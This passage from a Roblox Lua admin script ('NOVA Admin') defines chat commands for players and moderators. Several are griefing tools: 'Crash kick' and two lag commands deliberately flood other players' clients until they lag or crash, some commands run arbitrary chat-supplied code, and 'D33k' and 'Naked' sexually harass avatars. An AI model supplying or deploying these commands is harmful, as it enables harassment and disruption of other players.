    function(Msg,Speaker)
4046
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4047
            table.insert(NOVA.Targeted,v)
4048
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4049
                if part:IsA("Part") then
4050
                    coroutine.resume(coroutine.create(function()
4051
                        local SB = Instance.new("SelectionBox",part)
4052
                        SB.Name = "NOVA Target Selection Box"
4053
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4054
                        SB.Adornee = part
4055
                        wait(3)
4056
                        SB:remove()
4057
                    end))
4058
                end
4059
            end
4060
        end
4061
    end
4062
)
4063
 
4064
AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
4065
    function(Msg,Speaker)
4066
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4067
            for i=1,#NOVA.Targeted do
4068
                if NOVA.Targeted[i] == v then
4069
                    table.remove(NOVA.Targeted,i)
4070
                end
4071
            end
4072
        end
4073
    end
4074
)
4075
 
4076
AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
4077
    function(Msg,Speaker)
4078
        CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
4079
    end
4080
)
4081
 
4082
AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
4083
    function(Msg,Speaker)
4084
        CreateLocalScript([[
4085
       
4086
         LocalPlayer = game:GetService("Players").LocalPlayer
4087
script.Parent = LocalPlayer
4088
            NOVA = {
4089
                Bet = "/";
4090
                Services = {
4091
                    Workspace = game:GetService("Workspace");
4092
                    Lighting = game:GetService("Lighting");
4093
                    Debris = game:GetService("Debris");
4094
                    Players = game:GetService("Players");
4095
                    Teams = game:GetService("Teams");
4096
                    SoundService = game:GetService("SoundService");
4097
                    StarterGui = game:GetService("StarterGui");
4098
                    StarterPack = game:GetService("StarterPack");
4099
                };
4100
               
4101
                Camera = workspace.CurrentCamera;
4102
                LocalCharacter = Instance.new("Model");
4103
                LocalHead = Instance.new("Part");
4104
                LocalFire = Instance.new("Fire");
4105
            }
4106
            script.Name = NOVA.LocalPlayer.Name
4107
            script.Parent = nil
4108
            repeat wait() until NOVA.LocalPlayer.Parent == nil
4109
            game.Players.LocalPlayer.Chatted:connect(function(Msg)
4110
            if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
4111
                    game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
4112
                   
4113
                    if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
4114
                        game:GetService'TeleportService':Teleport(game.PlaceId)
4115
                    end
4116
                    if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
4117
                        pcall(function()
4118
                            newScript(Msg:sub(4),workspace)
4119
                        end)
4120
                    end
4121
                    if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
4122
                        coroutine.resume(coroutine.create(function()
4123
                            pcall(function()
4124
                                loadstring(Msg:sub(8))()
4125
                            end)
4126
                        end))
4127
                    end
4128
                    if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
4129
                        LocalPlayer.Character = workspace
4130
                    end
4131
                end
4132
            end)
4133
           
4134
            NOVA.LocalPlayer.Character = nil
4135
            NOVA.LocalHead.FormFactor = "Custom"
4136
            NOVA.LocalHead.Size = Vector3.new(3,3,3)
4137
            NOVA.LocalHead.Reflectance = 1e+999
4138
            NOVA.LocalHead.Shape = "Ball"
4139
            NOVA.LocalHead.Anchored = true
4140
            NOVA.LocalHead.CanCollide = false
4141
            NOVA.LocalHead.Transparency = 0
4142
            NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
4143
           
4144
            NOVA.LocalFire.Color = Color3.new(0,0,0)
4145
            NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
4146
            NOVA.LocalFire.Heat = 12
4147
            NOVA.LocalFire.Size = 7    
4148
 
4149
            while wait() do
4150
                pcall(function()
4151
                    NOVA.LocalCharacter.Parent=workspace
4152
                    NOVA.LocalHead.Parent = NOVA.LocalCharacter
4153
                    NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
4154
                    NOVA.LocalFire.Parent = NOVA.LocalHead
4155
                end)
4156
            end
4157
        ]],Speaker.Backpack)
4158
    end
4159
)
4160
 
4161
 
4162
AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
4163
    function(Msg,Speaker)
4164
        CreateScript(Msg,workspace)
4165
    end
4166
)
4167
 
4168
AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
4169
    function(Msg,Speaker)
4170
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4171
            CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4172
        end
4173
    end
4174
)
4175
 
4176
AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
4177
    function(Msg,Speaker)
4178
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4179
            CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4180
        end
4181
    end
4182
)
4183
 
4184
AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
4185
    function(Msg,Speaker)
4186
        CreateLocalScript(Msg,Speaker.Backpack)
4187
    end
4188
)
4189
 
4190
AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
4191
    function(Msg,Speaker)
4192
        for _,v in pairs(GetRecursiveChildren(workspace)) do
4193
            pcall(function()
4194
                v.Transparency = 7.3015691270939e-002
4195
            end)
4196
        end
4197
    end
4198
)
4199
 
4200
AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
4201
    function(Msg,Speaker)
4202
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4203
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4204
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4205
            else
4206
                pcall(function()
4207
                    CreateLocalScript([==[
4208
                        LocalPlayer = game:GetService("Players").LocalPlayer
4209
                        Camera = workspace.CurrentCamera
4210
                        while wait() do
4211
                            for i=1,10 do
4212
                                Part = Instance.new("Seat",Camera)
4213
                                Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
4214
                                Part.Shape = "Ball"
4215
                                Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
4216
                                Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
4217
                            end
4218
                        end
4219
                    ]==],v.Backpack)
4220
                end)
4221
            end
4222
        end
4223
    end
4224
)
4225
 
4226
AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
4227
    function(Msg,Speaker)
4228
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4229
            CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
4230
        end
4231
    end
4232
)
4233
 
4234
AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
4235
    function(Msg,Speaker)
4236
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4237
            for _,GUI in pairs(v.PlayerGui:children()) do
4238
                GUI:Clone().Parent = Speaker.PlayerGui
4239
            end
4240
        end
4241
    end
4242
)
4243
 
4244
AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
4245
    function(Msg,Speaker)
4246
        for _,v in pairs(NOVA.Targeted) do
4247
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4248
                if part:IsA("Part") then
4249
                    coroutine.resume(coroutine.create(function()
4250
                        local SB = Instance.new("SelectionBox",part)
4251
                        SB.Name = "NOVA Target Selection Box"
4252
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4253
                        SB.Adornee = part
4254
                        wait(3)
4255
                        SB:remove()
4256
                    end))
4257
                end
4258
            end
4259
        end
4260
    end
4261
)
4262
 
4263
AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
4264
    function(Msg,Speaker)
4265
        if Msg:sub(1,4) == "add" .. NOVA.Bet then
4266
            Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
4267
        elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
4268
            Speaker:SaveString("NoteToSelf",Msg:sub(5))
4269
        elseif Msg == "see" then
4270
            Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
4271
        end
4272
    end
4273
)
4274
 
4275
AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
4276
    function(Msg,Speaker)
4277
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4278
            local Char = v.Character
4279
            local Smite = Instance.new("Part",workspace)
4280
            Smite.FormFactor = "Custom"
4281
            Smite.TopSurface = "Smooth"
4282
            Smite.BottomSurface = "Smooth"
4283
            Smite.Anchored = true
4284
            Smite.Locked = true
4285
            Smite.Size = Vector3.new(25,3,25)
4286
            Smite.BrickColor = BrickColor.new("New Yeller")
4287
            Smite.Transparency = 1
4288
            Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
4289
            for i=1,0,-0.05 do
4290
                wait()
4291
                Smite.Transparency = i
4292
            end
4293
            coroutine.resume(coroutine.create(function()
4294
                for i=0,1,0.05 do
4295
                    wait()
4296
                    Smite.Transparency = i
4297
                end
4298
                Smite:remove()
4299
            end))
4300
            wait()
4301
            local Expl = Instance.new("Explosion",workspace)
4302
            Expl.Position = Smite.Position
4303
            Expl.BlastPressure = 1000000000
4304
           
4305
            for _,Part in pairs(GetRecursiveChildren(Char)) do
4306
                if Part:IsA("BasePart") then
4307
                    coroutine.resume(coroutine.create(function()
4308
                        for i=1,10 do
4309
                            local Sparkles = Instance.new("Sparkles",Part)
4310
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4311
                            local Fire = Instance.new("Fire",Part)
4312
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4313
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4314
                        end
4315
                        Part:BreakJoints()
4316
                        local BP = Instance.new("BodyPosition",Part)
4317
                        BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
4318
                        BP.P = 1000
4319
                        BP.position = Part.Position + Vector3.new(
4320
                            math.random(-100,100),
4321
                            100,
4322
                            math.random(-100,100))
4323
                        wait(3)
4324
                        local Expl = Instance.new("Explosion",workspace)
4325
                        Expl.Position = Part.Position
4326
                        Expl.BlastPressure = 1000000000
4327
                    end))
4328
                end
4329
            end
4330
        end
4331
    end
4332
)
4333
AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
4334
    function(Msg,Speaker)
4335
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4336
            pcall(function()
4337
        v.Character.Pants:Remove()
4338
        v.Character.Shirt:Remove()
4339
            end)
4340
        end
4341
    end
4342
)
4343
 
4344
AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
4345
    function(Msg,Speaker)
4346
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4347
               
4348
                        v.Character.Humanoid.Changed:connect(function(val)
4349
                                if val == "Health" then
4350
                                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
4351
                                end
4352
 
4353
                       
4354
             end)
4355
        end
4356
    end
4357
)
4358
 
4359
 
4360
AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
4361
    function(Msg,Speaker)
4362
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4363
       
4364
        RemoveTablets(v)
4365
 
4366
        end
4367
    end
4368
)
4369
AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
4370
    function(Msg,Speaker)
4371
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4372
        pcall(function()
4373
        person=v.Name
4374
        local plr = Game.Players[person]
4375
        color = "Pastel brown"
4376
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4377
                        end)
4378
                        end
4379
                end
4380
)
4381
AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
4382
    function(Msg,Speaker)
4383
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4384
        pcall(function()
4385
        person=v.Name
4386
        local plr = Game.Players[person]
4387
        color = "Pastel brown"
4388
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4389
        D = Instance.new("Model",plr.Character)
4390
        D.Name = "Nice thing"
4391
        bg = Instance.new("BodyGyro",plr.Character.Torso)
4392
        d = Instance.new("Part")
4393
        d.TopSurface = 0
4394
        d.BottomSurface = 0
4395
        d.Name = "Main"
4396
        d.Parent = plr.Character["Nice thing"]
4397
        d.formFactor = 3
4398
        d.Size = Vector3.new(0.6,2.5,0.6)
4399
        d.BrickColor = BrickColor.new(color)
4400
        d.Position = plr.Character.Head.Position
4401
        d.CanCollide = false
4402
        local cy = Instance.new("CylinderMesh")
4403
        cy.Parent = d
4404
        w = Instance.new("Weld")
4405
        w.Parent = plr.Character.Head
4406
        w.Part0 = d
4407
        w.Part1 = plr.Character.Head
4408
        w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
4409
        local c = Instance.new("Part")
4410
                c.Name = "Mush"
4411
        c.BottomSurface = 0
4412
        c.TopSurface = 0
4413
        c.FormFactor = 3
4414
        c.Size = Vector3.new(0.6,0.6,0.6)
4415
        c.CFrame = CFrame.new(d.Position)
4416
        c.BrickColor = BrickColor.new("Pink")
4417
        c.CanCollide = false
4418
        c.Parent = plr.Character["Nice thing"]
4419
        local msm = Instance.new("SpecialMesh")
4420
        msm.Parent = c
4421
        msm.MeshType = "Sphere"
4422
        local cw = Instance.new("Weld")
4423
        cw.Parent = c
4424
        cw.Part0 = d
4425
        cw.Part1 = c
4426
        cw.C0 = CFrame.new(0,1.3,0)
4427
        local ball1 = Instance.new("Part")
4428
        ball1.Parent = plr.Character["Nice thing"]
4429
        ball1.Name = "Left Ball"
4430
        ball1.BottomSurface = 0
4431
        ball1.TopSurface = 0
4432
        ball1.CanCollide = false
4433
        ball1.formFactor = 3
4434
        ball1.Size = Vector3.new(1,1,1)
4435
        ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
4436
        ball1.BrickColor = BrickColor.new(color)
4437
        local bsm = Instance.new("SpecialMesh")
4438
        bsm.Parent = ball1
4439
        bsm.MeshType = "Sphere"
4440
        local b1w = Instance.new("Weld")
4441
        b1w.Parent = ball1
4442
        b1w.Part0 = plr.Character["Left Leg"]
4443
        b1w.Part1 = ball1
4444
        b1w.C0 = CFrame.new(0,0.5,-.5)
4445
        local ball2 = Instance.new("Part")
4446
        ball2.Parent = plr.Character["Nice thing"]
4447
        ball2.Name = "Right Ball"
4448
        ball2.BottomSurface = 0
4449
        ball2.CanCollide = false
4450
        ball2.TopSurface = 0
4451
        ball2.formFactor = 3
4452
        ball2.Size = Vector3.new(1,1,1)
4453
        ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
4454
        ball2.BrickColor = BrickColor.new(color)
4455
        local b2sm = Instance.new("SpecialMesh")
4456
        b2sm.Parent = ball2
4457
        b2sm.MeshType = "Sphere"
4458
        local b2w = Instance.new("Weld")
4459
        b2w.Parent = ball2
4460
        b2w.Part0 = plr.Character["Right Leg"]
4461
        b2w.Part1 = ball2
4462
        b2w.C0 = CFrame.new(0,0.5,-.5)
4463
            end)
4464
        end
4465
    end
4466
)
4467
AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
4468
    function(Msg,Speaker)      
4469
        NOVA.Bet = Msg
4470
    end
4471
)
4472
AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
4473
    function(Msg,Speaker)
4474
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4475
           
4476
            coroutine.resume(coroutine.create(function()
4477
                                while wait() do
4478
            for i = 1, 100 do
4479
            if v:findFirstChild("PlayerGui") ~= nil then
4480
            local mes = Instance.new("Message", v.PlayerGui)
4481
            mes.Text = "Crashing"
4482
            local ex = Instance.new("Explosion", v.PlayerGui)
4483
            ex.BlastRadius = math.huge
4484
            local hint = Instance.new("Hint", v.PlayerGui)
4485
            hint.Text = "---------------------------------------------------------------------------"
4486
            local s = Instance.new("ScreenGui", v.PlayerGui)
4487
            local txt = Instance.new("TextBox", s)
4488
            txt.Size = UDim2.new(1, 0, 1, 0)
4489
            txt.Text = "Your Being Lagged"
4490
            txt.FontSize = "Size48"
4491
            end
4492
            end
4493
                                end
4494
            end))
4495
        end
4496
    end
4497
)
4498
AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
4499
    function(Msg,Speaker)
4500
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4501
            pcall(function()
4502
            v.Chatted:connect(function(Msg)
4503
            local m = Instance.new("Explosion",v.Character.Head)
4504
            m.Position = v.Character.Head.Position
4505
            end)
4506
            end)
4507
        end
4508
    end
4509
)
4510
AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
4511
    function(Msg,Speaker)
4512
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4513
            pcall(function()
4514
                for _,Part in pairs(GetRecursiveChildren(v.Character)) do
4515
                    if Part:IsA("BasePart") then
4516
                        for i=1,10 do
4517
                            local Sparkles = Instance.new("Sparkles",Part)
4518
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4519
                            local Fire = Instance.new("Fire",Part)
4520
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4521
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4522
                        end
4523
                    end
4524
                end
4525
            end)
4526
        end
4527
    end
4528
)
4529
 
4530
AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
4531
    function(Msg,Speaker)
4532
        if NOVA.ShowChat == true then
4533
            NOVA.ShowChat = false
4534
        elseif NOVA.ShowChat == false then
4535
            NOVA.ShowChat = true
4536
        end
4537
    end
4538
)
4539
 
4540
 
4541
AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
4542
    function(Msg,Speaker)
4543
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4544
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4545
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4546
            else
4547
                pcall(function()
4548
                    CreateLocalScript([[
4549
                        script.Parent = workspace.CurrentCamera
4550
                        while wait() do
4551
                            coroutine.resume(coroutine.create(function()
4552
                                for i=1,math.huge do
4553
                                    wait()
4554
                                    for i=1,10 do
4555
                                        NS = script:Clone()
4556
                                        NS.Disabled = true
4557
                                        NS.Parent = game:GetService("Players").LocalPlayer.Backpack
4558
                                        NS.Disabled = false
4559
                                    end
4560
                                    for i=1,10 do
4561
                                        game:GetService("Players").LocalPlayer.Character.Archivable = true
4562
                                        local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
4563
                                        Clone.Parent = workspace.CurrentCamera
4564
                                    end
4565
                                end
4566
                            end))
4567
                        end]],
4568
                    v.Backpack)
4569
                end)
4570
            end
4571
        end
4572
    end
4573
)
4574
 
4575
AddCommand("Building","building",1,"Generates a building.","No Arguments",
4576
    function(Msg,Speaker)
4577
        Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
4578
    end
4579
)
4580
 
4581
AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
4582
    function(Msg,Speaker)
4583
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4584
            pcall(function()
4585
                v.Character.Humanoid.PlatformStand = true
4586
            end)
4587
        end
4588
    end
4589
)
4590
 
4591
AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
4592
    function(Msg,Speaker)
4593
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4594
            pcall(function()
4595
                v.Character.Humanoid.PlatformStand = false
4596
            end)
4597
        end
4598
    end
4599
)
4600
 
4601
AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
4602
    function(Msg,Speaker)
4603
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4604
            pcall(function()
4605
                for _,Tool in pairs(v.Backpack:GetChildren()) do
4606
                    Tool:Clone().Parent = Speaker.Backpack
4607
                end
4608
            end)
4609
        end
4610
    end
4611
)
4612
 
4613
AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
4614
    function(Msg,Speaker)
4615
        local Give = {}
4616
        for _,v in pairs(NOVA.Services.Lighting:children()) do
4617
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4618
                function()
4619
                    table.insert(Give,v:Clone())
4620
                end
4621
            )
4622
        end
4623
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4624
            function()
4625
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4626
                    for _,Tool in pairs(Give) do
4627
                        Tool:Clone().Parent = v.Backpack
4628
                    end
4629
                end
4630
                RemoveTablets(Speaker)
4631
            end
4632
        )
4633
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4634
    end
4635
)
4636
 
4637
AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
4638
    function(Msg,Speaker)
4639
        pcall(function()
4640
            for _,Tool in pairs(Speaker.Backpack:children()) do
4641
                Tool:Clone().Parent = NOVA.Services.Lighting
4642
            end
4643
        end)
4644
    end
4645
)
4646
 
4647
AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
4648
    function(Msg,Speaker)
4649
        Split = GetSplit(Msg)
4650
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4651
            if v:FindFirstChild("PlayerGui") ~= nil then
4652
                makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
4653
            end
4654
        end
4655
    end
4656
)
4657
 
4658
AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
4659
    function(Msg,Speaker)
4660
        local Data = GetRankedTable(Speaker)
4661
        Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
4662
        Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
4663
        Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
4664
            function()
4665
                RemoveTablets(Speaker)
4666
                OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
4667
            end
4668
        )
4669
        Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
4670
        Output("How to use commands.",Data.Color,Speaker,nil,
4671
            function()
4672
                RemoveTablets(Speaker)
4673
                Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
4674
                Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
4675
                Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
4676
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
4677
            end
4678
        )
4679
        Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
4680
    end
4681
)
4682
 
4683
AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
4684
    function(Msg,Speaker)
4685
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
4686
            if v:IsA("Script") then
4687
                v.Disabled = true
4688
                v.Parent = NOVA.Services.Debris
4689
                v.Disabled = true
4690
                v:Destroy()
4691
                v.Parent = NOVA.Services.Debris
4692
                v.Disabled = true
4693
                v:Destroy()
4694
            end
4695
        end
4696
    end
4697
)
4698
 
4699
 
4700
AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
4701
    function(Msg,Speaker)
4702
        pcall(function()
4703
            CreateLocalScript([[
4704
                game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
4705
                ]],
4706
                Speaker.Backpack
4707
            )
4708
        end)
4709
    end
4710
)
4711
 
4712
AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
4713
    function(Msg,Speaker)
4714
        pcall(function()
4715
            NOVA.Sounds.Sound.Pitch = tonumber(Msg)
4716
        end)
4717
    end
4718
)
4719
AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
4720
    function(Msg,Speaker)
4721
        pcall(function()
4722
            NOVA.Sounds.Sound.Looped = Msg
4723
        end)
4724
    end
4725
)
4726
AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
4727
    function(Msg,Speaker)
4728
        Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
4729
    end
4730
)
4731
AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
4732
    function(Msg,Speaker)
4733
        local Give = {}
4734
        for _,v in pairs(NOVA.Plugins) do
4735
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4736
                function()
4737
                    table.insert(Give,v:Clone())
4738
                end
4739
            )
4740
        end
4741
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4742
            function()
4743
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4744
                    for _,Tool in pairs(Give) do
4745
                        New = Tool:Clone()
4746
                        New.Parent = v.Backpack
4747
                        pcall(function()
4748
                            New.Disabled = false
4749
                        end)
4750
                    end
4751
                end
4752
                RemoveTablets(Speaker)
4753
            end
4754
        )
4755
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4756
    end
4757
)
4758
AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
4759
    function(Msg,Speaker)
4760
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4761
            pcall(function()
4762
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4763
                    part.Locked = true
4764
                end
4765
            end)
4766
        end
4767
    end
4768
)
4769
AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
4770
    function(Msg,Speaker)
4771
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4772
            pcall(function()
4773
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4774
                    part.Locked = false
4775
                end
4776
            end)
4777
        end
4778
    end
4779
)
4780
AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
4781
    function(Msg,Speaker)
4782
        Split = GetSplit(Msg)
4783
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4784
            pcall(function()
4785
                CreateLocalScript(Msg:sub(Split+1),v.Backpack)
4786
            end)
4787
        end
4788
    end
4789
)
4790
AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
4791
    function(Msg,Speaker)
4792
        NOVA.Services.Lighting.Brightness = tonumber(Msg)
4793
    end
4794
)
4795
AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
4796
    function(Msg,Speaker)
4797
        pcall(function()
4798
            Rtn = CFrame.new(
4799
                Speaker.Character.Torso.CFrame.x,
4800
                Speaker.Character.Torso.CFrame.y,
4801
                Speaker.Character.Torso.CFrame.z
4802
            )
4803
            table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
4804
        end)
4805
    end
4806
)
4807
AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
4808
    function(Msg,Speaker)
4809
        for _,v in pairs(NOVA.Waypoints) do
4810
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4811
                pcall(function()
4812
                    RemoveTablets(Speaker)
4813
                    Speaker.Character.Torso.CFrame = v.CFrame
4814
                end)
4815
            end)
4816
        end
4817
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4818
    end
4819
)
4820
AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
4821
    function(Msg,Speaker)
4822
        Rtn = {}
4823
        for num,v in pairs(NOVA.Waypoints) do
4824
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4825
                table.insert(Rtn,num)
4826
            end)
4827
        end
4828
        Output("Done",NOVA.Colors.Green,Speaker,nil,function()
4829
            RemoveTablets(Speaker)
4830
            for _,v in pairs(Rtn) do
4831
                table.remove(NOVA.Waypoints,v)
4832
            end
4833
        end)
4834
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4835
    end
4836
)
4837
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
4838
    function(Msg,Speaker)
4839
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4840
            pcall(function()
4841
                for i=0,3 do
4842
                    Instance.new("HopperBin",v.Backpack).BinType = i
4843
                end
4844
            end)
4845
        end
4846
    end
4847
)
4848
AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
4849
    function(Msg,Speaker)
4850
        local MainColor = Color3.new(0,0,0)
4851
        local SeccondaryColor = Color3.new(0.69,0.13,0.13)
